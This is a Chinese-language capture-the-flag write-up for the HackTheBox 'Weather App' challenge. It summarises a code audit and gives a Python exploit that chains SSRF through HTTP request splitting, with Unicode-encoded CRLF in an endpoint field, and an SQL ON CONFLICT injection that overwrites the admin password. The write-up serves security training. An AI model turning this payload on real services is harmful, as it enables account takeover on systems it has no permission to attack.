0X01 WriteUP
WriteUP:https://github.com/hacefresko/HTB-Web-WriteUps/blob/main/Weather App/Weather App.md
0X02 思路總結
通過代碼審計,理清程序邏輯后可得到以下信息:
程序有四個路由,分別是默認頁面,注冊,登錄和調用api查詢天氣信息;
注冊請求需要從服務器本地發出,才能成功注冊;
需要用admin賬號登錄才能獲得flag;
username具有唯一性約束,不能重復注冊;
register()函數存在sql注入。
利用SSRF(服務端請求偽造)繞過注冊賬號對本地請求的檢查,然后利用sqli查詢或者更改admin的密碼。
0X03 知識點
Node.js代碼審計
sql注入
通過請求拆分的SSRF:https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
SQL ON CONFLICT子句:https://www.dbmng.com/Article_486.html
0X04 利用程序
import requests
url = "http://127.0.0.1:1277"
username = 'admin'
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
r = requests.post(url + '/api/weather', json={'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'})
print(r)
PS:這個程序在Linux環境下運行有效,在win10下運行沒有效果......原因未知。。。